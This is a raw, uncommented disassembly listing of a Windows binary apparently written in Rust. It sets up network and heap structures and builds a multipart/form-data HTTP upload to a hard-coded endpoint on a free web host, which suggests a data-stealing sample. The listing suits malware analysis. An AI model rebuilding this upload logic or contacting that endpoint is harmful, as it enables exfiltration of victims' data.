mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], r15b
call fcn.140130510
jmp 0x14000a311
mov rcx, qword [rbx + 0x30]
cmp qword [rcx], r14
jne 0x14000a40a
lea rdx, [0x140114640]
cmp qword [rcx + 8], rdx
jne 0x14000a40a
lea rdx, [fcn.140114680]
cmp qword [rcx + 0x10], rdx
jne 0x14000a40a
lea rdx, [fcn.140114690]
cmp qword [rcx + 0x18], rdx
jne 0x14000a40a
jmp 0x14000a3ed
xor edi, edi
jmp 0x14000a55b
lock or qword [rbx + 0x40], 1
mov rax, qword [rbx + 0x10]
mov r13, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor rax, 1
test rax, rax
sete dil
je 0x14000a911
mov rax, qword [rbx + 0x40]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000a560
and eax, 0xa
cmp eax, 8
jne 0x14000a582
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rbx]
jne 0x14000cde7
mov rcx, rbx
call fcn.140113e80
mov rcx, r12
call fcn.140114690
test dil, dil
je 0x14000cdef
test r13, r13
mov rdi, qword [rbp + 0x10d0]
jne 0x14000a933
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000a5e1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de7c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de7c
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov rax, qword [rbp + 0x270]
mov qword [rsi + 0x28], rax
movups xmm0, xmmword [rbp + 0x260]
movups xmmword [rsi + 0x18], xmm0
mov qword [rbp + 0x550], rsi
mov qword [rbp + 0x558], 0x1e
mov dword [rbp + 0x560], 0
lea rdx, str.https:__xp7reqy314.000webhostapp.com_upload_SystemTime_before_UNIX_EPOCH_
lea rcx, [rbp + 0x260]
mov r8d, 0x2c
call fcn.1400a3d80
mov eax, dword [rbp + 0x260]
cmp eax, 2
jne 0x14000a675
mov ecx, 2
mov rdx, qword [rbp + 0x268]
jmp 0x14000a745
xorps xmm0, xmm0
movaps xmmword [rbp + 0xfc0], xmm0
movaps xmmword [rbp + 0xfb0], xmm0
movups xmm1, xmmword [rbp + 0x260]
movups xmm2, xmmword [rbp + 0x270]
movups xmm3, xmmword [rbp + 0x280]
movups xmm4, xmmword [rbp + 0x290]
movups xmmword [rbp + 0xa96], xmm1
movups xmmword [rbp + 0xaa6], xmm2
movups xmmword [rbp + 0xab6], xmm3
movups xmmword [rbp + 0xac6], xmm4
movups xmm1, xmmword [rbp + 0x2a0]
movups xmmword [rbp + 0xad6], xmm1
mov rcx, qword [rbp + 0x2b0]
mov qword [rbp + 0xae6], rcx
movaps xmmword [rbp + 0x1020], xmm0
movups xmm0, xmmword [rbp + 0xa90]
movaps xmmword [rbp + 0xec0], xmm0
movups xmm0, xmmword [rbp + 0xaa0]
movaps xmmword [rbp + 0xed0], xmm0
movups xmm0, xmmword [rbp + 0xab0]
movaps xmmword [rbp + 0xee0], xmm0
movups xmm0, xmmword [rbp + 0xac0]
movaps xmmword [rbp + 0xef0], xmm0
movups xmm0, xmmword [rbp + 0xad0]
movaps xmmword [rbp + 0xf00], xmm0
mov rcx, qword [rbp + 0xade]
mov qword [rbp + 0xf0e], rcx
mov rcx, qword [rbp + 0xae6]
mov qword [rbp + 0xf16], rcx
xor ecx, ecx
lock inc qword [rsi]
jle 0x14000e5e1
mov r8, qword [rbp + 0x680]
mov qword [rbp + 0x940], r8
movups xmm0, xmmword [rbp + 0x670]
movups xmmword [rbp + 0x930], xmm0
movups xmm0, xmmword [rbp + 0xf70]
movups xmmword [rbp + 0x950], xmm0
movaps xmm0, xmmword [rbp + 0xfc0]
movups xmmword [rbp + 0x978], xmm0
movaps xmm0, xmmword [rbp + 0xfb0]
movups xmmword [rbp + 0x990], xmm0
movaps xmm0, xmmword [rbp + 0xec0]
movaps xmm1, xmmword [rbp + 0xed0]
movaps xmm2, xmmword [rbp + 0xee0]
movaps xmm3, xmmword [rbp + 0xef0]
movups xmmword [rbp + 0x9a2], xmm0
movups xmmword [rbp + 0x9b2], xmm1
movups xmmword [rbp + 0x9c2], xmm2
movups xmmword [rbp + 0x9d2], xmm3
movaps xmm0, xmmword [rbp + 0xf00]
movups xmmword [rbp + 0x9e2], xmm0
movups xmm0, xmmword [rbp + 0xf0e]
movups xmmword [rbp + 0x9f0], xmm0
mov dword [rbp + 0xa14], 0
mov dword [rbp + 0xa11], 0
movaps xmm0, xmmword [rbp + 0x1020]
movups xmmword [rbp + 0xa18], xmm0
movdqu xmm0, xmmword [rbp + 0x620]
movups xmm1, xmmword [rbp + 0x630]
movdqu xmmword [rbp + 0xa38], xmm0
movups xmmword [rbp + 0xa48], xmm1
mov qword [rbp + 0xfd8], rsi
mov qword [rbp + 0xa58], rsi
mov qword [rbp + 0xa60], 0x1e
mov dword [rbp + 0xa68], 0
mov qword [rbp + 0x920], rcx
mov qword [rbp + 0x928], rdx
mov qword [rbp + 0x948], 0
mov qword [rbp + 0x960], 2
mov qword [rbp + 0x968], 0
mov qword [rbp + 0x970], 8
mov qword [rbp + 0x988], 8
mov word [rbp + 0x9a0], 0
mov dword [rbp + 0xa08], 0x3b9aca00
mov byte [rbp + 0xa10], 2
mov byte [rbp + 0xa28], 2
mov qword [rbp + 0xa30], 2
cmp eax, 2
je 0x14000aaa6
mov r8d, dword [rbp + 0x9d4]
mov rcx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9c8]
test r8, r8
je 0x14000aa44
mov rax, rdx
sub rax, r8
jbe 0x14000aa4f
cmp byte [rcx + r8], 0xbf
jg 0x14000aa55
lea rax, str._L__
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140161400
ud2
lock dec qword [rbx]
je 0x14000a58c
mov rcx, r12
call fcn.140114690
test r13, r13
mov rdi, qword [rbp + 0x10d0]
je 0x14000a5b5
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x260]
lock dec qword [rax]
jne 0x14000a959
mov rcx, qword [rbp + 0x260]
call fcn.140005590
mov rax, qword [rbp + 0x268]
lock dec qword [rax]
jne 0x14000a972
lea rcx, [rbp + 0x268]
call fcn.1400bc040
lock dec qword [rsi]
jne 0x14000a9fe
mov edx, 1
mov rsi, qword [rbp + 0x10d0]
lock xadd qword [rsi + 0x88], rdx
mov rcx, qword [rbp + 0x10b8]
call fcn.140113f70
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rsi + 0x110]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x110], rcx
jne 0x14000a9b6
test rax, rax
jne 0x14000a9fe
mov rdx, qword [rbp + 0x10d0]
mov rax, qword [rdx + 0x100]
mov rcx, qword [rdx + 0x108]
mov qword [rdx + 0x100], 0
lock and qword [rdx + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x14000a9fe
call qword [rax + ioctlsocket]
mov rax, qword [rbp + 0x10d0]
lock dec qword [rax]
jne 0x14000aa17
mov rcx, qword [rbp + 0x10d0]
call fcn.140114150
mov qword [rbp + 0xa90], r13
lea rax, [0x1401693b8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168eb0]
lea r8, [rbp + 0xa90]
jmp 0x14000d189
mov rax, rdx
cmp rax, 3
jb 0x14000aaa6
jmp 0x14000aa5b
jne 0x14000a8fb
cmp rax, 3
jb 0x14000aaa6
movzx eax, word [rcx + r8]
xor eax, 0x2f3a
movzx ecx, byte [rcx + r8 + 2]
xor ecx, 0x2f
or cx, ax
jne 0x14000aaa6
lea rdi, [rbp + 0x9a8]
mov rcx, rdi
call fcn.14015b860
lea r8, [rdx + rax]
lea rsi, [rbp + 0xa90]
mov rcx, rsi
mov rdx, rax
call fcn.1400a0d50
cmp qword [rbp + 0xa90], 0
je 0x14000c469
lea rcx, [rbp + 0x740]
lea rdx, [rbp + 0x920]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0xec0]
mov rsi, qword [rbp + 0x6a0]
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0xec0], rsi
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 0xec8], rax
mov qword [rbp + 0x590], rdi
lea rax, [0x14009a1b0]
mov qword [rbp + 0x598], rax
lea rax, str.multipart_form_data__boundary
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], 1
mov qword [rbp + 0x280], 0
lea rax, [rbp + 0x590]
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], 1
lea rcx, [rbp + 0x920]
lea rdx, [rbp + 0x260]
call fcn.140014120
mov rdi, qword [rbp + 0x920]
mov r12, qword [rbp + 0x928]
cmp dword [rbp + 0x740], 2
je 0x14000af3d
mov rbx, qword [rbp + 0x930]
movups xmm0, xmmword [0x1401d8a98]
movaps xmmword [rbp + 0xed0], xmm0
movdqu xmm0, xmmword [0x1401d8a88]
movdqa xmmword [rbp + 0xec0], xmm0
xor eax, eax
cmp rbx, rax
je 0x14000acc5
movzx r8d, byte [rdi + rax]
cmp r8b, 0x20
setae cl
cmp r8b, 0x7f
setne dl
inc rax
cmp r8b, 9
je 0x14000ab90
and cl, dl
jne 0x14000ab90
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000abe5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000ce6b
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000ce6b
mov r14, rax
mov byte [rax], 5
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000ac2e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de8d
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de8d
mov rbx, rax
mov dword [rax], 2
mov qword [rax + 0x58], r14
lea rax, [0x1401d2d78]
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 0
mov rax, qword [rbp + 0xec0]
test rax, rax
je 0x14000ac87
lea rcx, [rbp + 0xed8]
mov rdx, qword [rbp + 0xec8]
mov r8, qword [rbp + 0xed0]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x850]
cmp rax, 2
je 0x14000aec0
test rax, rax
je 0x14000ae88
lea rcx, [rbp + 0x870]
mov rax, qword [rbp + 0x858]
mov rdx, qword [rbp + 0x860]
mov r8, qword [rbp + 0x868]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000aec0
test rbx, rbx
je 0x14000ad37
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000acfc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000c4d1
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000c4d1
mov r14, rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
test r14b, 1
jne 0x14000ad4b
mov rax, r14
or rax, 1
lea rcx, [0x1401a9358]
jmp 0x14000ad55
lea rcx, [0x1401d3af8]
lea r14, [0x140204680]
xor eax, eax
xor ebx, ebx
jmp 0x14000ad55
lea rcx, [0x1401a9370]
mov rax, r14
mov qword [rbp + 0x260], rcx
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x278], rax
mov eax, dword [rbp + 0x591]
mov ecx, dword [rbp + 0x594]
mov dword [rbp + 0x281], eax
mov dword [rbp + 0x284], ecx
lea rcx, [rbp + 0x768]
movdqa xmm0, xmmword [rbp + 0xec0]
movaps xmm1, xmmword [rbp + 0xed0]
movaps xmmword [rbp + 0x930], xmm1
movdqa xmmword [rbp + 0x920], xmm0
mov byte [rbp + 0x280], 0
lea rdx, [rbp + 0x920]
lea r8, [rbp + 0x260]
call fcn.140112df0
jmp 0x14000af3d
test r12b, r12b
je 0x14000ade9
test r15, r15
je 0x14000ade9
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movq rax, xmm8
cmp rax, 1
jne 0x14000ae10
movq rax, xmm7
test rax, rax
je 0x14000ae10
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp + 0x10c8]
test r8, r8
je 0x14000ae35
cmp qword [rbp + 0x1010], 0
je 0x14000ae35
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x10a8], 0
je 0x14000ae51
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movq rax, xmm6
test rax, rax
je 0x14000ae71
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x1030]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r13
call fcn.14015cdb0
mov rsi, rax
mov r13, qword [rbp + 0x10a8]
jmp 0x1400110e5
mov r14, qword [rbp + 0x858]
mov r15, qword [rbp + 0x860]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14000aec0
cmp qword [r15 + 0x10], 0x11
jb 0x14000aeae
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rbp + 0x830], 0xa
jb 0x14000aee9
cmp qword [rbp + 0x840], 0
je 0x14000aee9
mov r8, qword [rbp + 0x838]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x7e0], 0
je 0x14000af09
mov r8, qword [rbp + 0x7d8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp + 0x768]
call fcn.14006a760
cmp qword [rbp + 0x740], 0
je 0x14000af2b
lea rcx, [rbp + 0x748]
call fcn.1400aca70
mov qword [rbp + 0x740], 2
mov qword [rbp + 0x748], rbx
lea rcx, [rbp + 0xa90]
lea rdx, [rbp + 0x740]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
test r12, r12
je 0x14000af6d
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbp + 0xa90], 2
jne 0x14000aff5
lea rcx, [rbp + 0x100]
lea rdx, [rbp + 0xa90]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x6a8], 0
je 0x14000afab
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbp + 0x6b8]
mov rdi, qword [rbp + 0x6c8]
test rdi, rdi
je 0x14000b129
lea rbx, [rsi + 8]
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000afdd
add rbx, 0x18
dec rdi
je 0x14000b129
cmp qword [rbx], 0
je 0x14000afd0
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call r14
jmp 0x14000afd0
mov rax, qword [rbp + 0x6e0]
test rax, rax
je 0x14000b195
mov r14, qword [rbp + 0x6d0]
lea r12, [r14 + 0x118]
shl rax, 5
lea r13, [rax + rax*8]
xor ebx, ebx
mov rdi, qword [rbp + 0x10d0]
jmp 0x14000b086
add r14, 0x120
mov rax, qword [rbp + 0x6b8]
lea rcx, [rdx + rdx*2]
mov r8, qword [rbp + 0x270]
mov qword [rax + rcx*8 + 0x10], r8
movdqu xmm0, xmmword [rbp + 0x260]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rbp + 0x6c8], rdx
add rbx, rsi
add rbx, r15
add rbx, rdi
add rbx, 0xa
add r12, 0x120
add r13, 0xfffffffffffffee0
je 0x14000b185
cmp qword [r12 - 0x20], 0
je 0x14000b0a0
lea rax, [r14 + 0x110]
jmp 0x14000b0af
cmp qword [r12 - 8], 0
mov rax, r12
je 0x14000c317
mov r8, qword [r12 - 0x118]
test r8, r8
jne 0x14000b0c4
mov r8, qword [r12 - 0x110]
lea rcx, [r12 - 0x100]
mov rsi, qword [rax]
mov r9, qword [r12 - 0x108]
movzx edx, byte [rbp + 0x6e8]
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x260]
call fcn.140113320
mov r15, qword [rbp + 0x270]
mov rdx, qword [rbp + 0x6c8]
cmp rdx, qword [rbp + 0x6c0]
jne 0x14000b030
lea rcx, [rbp + 0x6b8]
call fcn.14004ef00
mov rdi, qword [rbp + 0x6b0]
mov rdx, qword [rbp + 0x6c8]
jmp 0x14000b030
cmp qword [rbp + 0x6c0], 0
je 0x14000b145
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp + 0x6d0]
call fcn.140121830
mov r14, qword [rbp + 0x100]
mov r15, qword [rbp + 0x108]
cmp r14, 2
jne 0x14000b3b1
mov rax, qword [rbp + 0x238]
lock dec qword [rax]
jne 0x140010339
mov r13d, 3
jmp 0x14000f3b1
cmp qword [rbp + 0x6e0], 0
je 0x14000b197
add rdi, 6
jmp 0x14000b199
xor ebx, ebx
xor edi, edi
movups xmm0, xmmword [rbp + 0x6e0]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm0, xmmword [rbp + 0x6a0]
movups xmm1, xmmword [rbp + 0x6b0]
movups xmm2, xmmword [rbp + 0x6c0]
movups xmm3, xmmword [rbp + 0x6d0]
movups xmmword [rbp + 0x2a0], xmm3
movups xmmword [rbp + 0x290], xmm2
movups xmmword [rbp + 0x280], xmm1
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x260], 0
lea rcx, [rbp + 0x260]
call fcn.140121a40
movups xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x970], xmm0
movups xmm0, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x960], xmm0
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
movups xmm2, xmmword [rbp + 0x280]
movups xmm3, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x950], xmm3
movaps xmmword [rbp + 0x940], xmm2
movaps xmmword [rbp + 0x930], xmm1
movaps xmmword [rbp + 0x920], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000b276
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cdf6
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cdf6
mov rsi, rax
mov rcx, rdi
add rcx, rbx
movaps xmm0, xmmword [rbp + 0x970]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rbp + 0x960]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rbp + 0x920]
movaps xmm1, xmmword [rbp + 0x930]
movaps xmm2, xmmword [rbp + 0x940]
movaps xmm3, xmmword [rbp + 0x950]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov ebx, 1
mov rax, qword [rbp + 0xba0]
cmp rax, 2
je 0x14000b352
mov r15, rcx
test rax, rax
je 0x14000b314
lea rcx, [rbp + 0xbc0]
mov rax, qword [rbp + 0xba8]
mov rdx, qword [rbp + 0xbb0]
mov r8, qword [rbp + 0xbb8]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000b34f
mov rdi, qword [rbp + 0xba8]
mov r14, qword [rbp + 0xbb0]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
mov rcx, r15
je 0x14000b352
cmp qword [r14 + 0x10], 0x11
jb 0x14000b33d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r15
mov qword [rbp + 0xba0], 0
mov qword [rbp + 0xba8], rsi
lea rax, [0x1401d9060]
mov qword [rbp + 0xbb0], rax
mov qword [rbp + 0xbb8], rbx
mov qword [rbp + 0xbc0], rcx
lea rcx, [rbp + 0x100]
lea rdx, [rbp + 0xa90]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x100]
mov r15, qword [rbp + 0x108]
cmp r14, 2
je 0x14000b169
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x920]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0x210]
mov rbx, qword [rbp + 0x218]
mov r12, qword [rbp + 0x220]
mov rsi, qword [rbp + 0x228]
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x10d0], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000b420
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000cc0c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000cc0c
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x38], 4
mov qword [rbp + 0x10b0], rax
lock inc qword [rax]
jle 0x14000e5e1
mov qword [rbp + 0xa90], r14
mov qword [rbp + 0xa98], r15
lea rcx, [rbp + 0xaa0]
lea rdx, [rbp + 0x920]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memcpy
mov r13d, 2
cmp rdi, 2
je 0x14000b6c8
test rdi, rdi
mov qword [rbp + 0x10c8], r12
je 0x14000b4ca
mov qword [rbp + 0x10b8], rbx
mov qword [rbp + 0x10c0], rbx
mov rdi, r12
mov r12, qword [rbp + 0x10d0]
mov rdx, rsi
jmp 0x14000b5f9
lea rcx, [rbp + 0x260]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.140084de0
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0xee0], rax
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0xed0], xmm1
movaps xmmword [rbp + 0xec0], xmm0
movups xmm0, xmmword [rbp + 0x288]
movaps xmmword [rbp + 0x740], xmm0
movups xmm0, xmmword [rbp + 0x298]
movaps xmmword [rbp + 0x750], xmm0
movups xmm0, xmmword [rbp + 0x2a8]
movaps xmmword [rbp + 0x760], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000b560
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000de7c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000de7c
mov rdi, rax
movaps xmm0, xmmword [rbp + 0x740]
movaps xmm1, xmmword [rbp + 0x750]
movaps xmm2, xmmword [rbp + 0x760]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [rbp + 0xec0]
movaps xmm1, xmmword [rbp + 0xed0]
movdqa xmmword [rbp + 0x8a0], xmm0
movaps xmmword [rbp + 0x8b0], xmm1
mov rax, qword [rbp + 0xee0]
mov qword [rbp + 0x8c0], rax
xor r15d, r15d
lea rax, [0x1401d8650]
test rsi, rsi
je 0x14000c4e0
xor ecx, ecx
mov qword [rbp + 0x10c0], rcx
mov qword [rbp + 0x10b8], rbx
mov r13, rsi
mov rsi, rax
xor r12d, r12d
mov rdx, qword [rbp + 0x10d0]
lea rbx, [rbp + 0xab8]
movups xmm0, xmmword [0x1401d8ae8]
movaps xmmword [rbp + 0xed0], xmm0
movdqu xmm0, xmmword [0x1401d8ad8]
movdqa xmmword [rbp + 0xec0], xmm0
lea r15, [rbp + 0x260]
mov rcx, r15
call fcn.140084990
lea rcx, [rbp + 0x740]
lea r8, [rbp + 0xec0]
mov rdx, rbx
mov r9, r15
call fcn.1400a4910
cmp byte [rbp + 0x760], 2
je 0x14000b66e
lea rcx, [rbp + 0x758]
mov rax, qword [rbp + 0x740]
mov rdx, qword [rbp + 0x748]
mov r8, qword [rbp + 0x750]
call qword [rax + reloc.WS2_32.dll_recv]
mov r14, qword [rbp + 0xa90]
mov rbx, qword [rbp + 0x10b8]
mov r15, qword [rbp + 0x10c0]
test r14, r14
je 0x14000b694
lea rcx, [rbp + 0xa98]
call fcn.1400aca70
mov qword [rbp + 0xa90], 1
mov qword [rbp + 0xa98], r15
mov qword [rbp + 0xaa0], rdi
mov qword [rbp + 0xaa8], rsi
mov qword [rbp + 0xab0], r12
mov r14d, 1
mov r12, qword [rbp + 0x10c8]
lea rax, [rbp + 0xa98]
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmmword [rbp + 0x5b0], xmm2
movaps xmmword [rbp + 0x5a0], xmm1
movaps xmmword [rbp + 0x590], xmm0
mov eax, dword [rbp + 0xb18]
mov dword [rbp + 0x1094], eax
mov eax, dword [rbp + 0xb1c]
mov dword [rbp + 0x10a4], eax
mov eax, dword [rbp + 0xb20]
mov dword [rbp + 0x1070], eax
mov eax, dword [rbp + 0xb24]
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0xb28]
mov qword [rbp + 0x10b8], rax
mov r15, qword [rbp + 0xb30]
mov rdi, qword [rbp + 0xb38]
movzx eax, word [rbp + 0xb40]
mov word [rbp + 0x1030], ax
movzx eax, byte [rbp + 0xb68]
mov byte [rbp + 0xf80], al
mov eax, dword [rbp + 0xb6c]
mov dword [rbp + 0x108b], eax
mov eax, dword [rbp + 0xb69]
mov dword [rbp + 0x1088], eax
mov eax, dword [rbp + 0xb9c]
mov dword [rbp + 0x690], eax
mov rax, qword [rbp + 0x8c0]
mov qword [rbp + 0x710], rax
movzx eax, word [rbp + 0xb42]
mov word [rbp + 0x1010], ax
movaps xmm0, xmmword [rbp + 0x8a0]
movaps xmm1, xmmword [rbp + 0x8b0]
movaps xmmword [rbp + 0x700], xmm1
movaps xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x718], rbx
mov eax, dword [rbp + 0xb44]
mov dword [rbp + 0xffc], eax
mov qword [rbp + 0x720], r12
mov eax, dword [rbp + 0xb48]
mov dword [rbp + 0xff8], eax
mov qword [rbp + 0x728], r13
mov eax, dword [rbp + 0xb4c]
mov dword [rbp + 0xfe0], eax
mov rax, qword [rbp + 0x10d0]
mov qword [rbp + 0x730], rax
mov eax, dword [rbp + 0xb50]
mov dword [rbp + 0x1090], eax
movups xmm0, xmmword [rbp + 0xb58]
movaps xmmword [rbp + 0xf70], xmm0
movups xmm0, xmmword [rbp + 0xb8c]
movaps xmmword [rbp + 0x680], xmm0
movups xmm0, xmmword [rbp + 0xb7c]
movaps xmmword [rbp + 0x670], xmm0
mov eax, dword [rbp + 0xb54]
mov dword [rbp + 0xfa8], eax
mov r13, qword [rbp + 0xb70]
mov r12d, dword [rbp + 0xb78]
test rdi, rdi
je 0x14000b8cf
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000b8b7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010902
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
test rax, rax
jne 0x14000b8d4
jmp 0x140010902
mov ecx, 1
mov qword [rbp + 0x1080], r15
mov qword [rbp + 0x618], rcx
mov rdx, qword [rbp + 0x10b8]
mov qword [rbp + 0x10c0], rdi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbp + 0xf70]
movaps xmmword [rbp + 0xa70], xmm0
movzx eax, byte [rbp + 0xf80]
mov byte [rbp + 0xa80], al
mov dword [rbp + 0x10d0], r12d
mov rbx, r13
cmp r12d, 0x3b9aca00
jne 0x14000b939
mov eax, dword [rbp + 0x248]
mov dword [rbp + 0x10d0], eax
mov rbx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x1018], rax
mov r15, qword [rax + 0x10]
test r15, r15
je 0x14000ce51
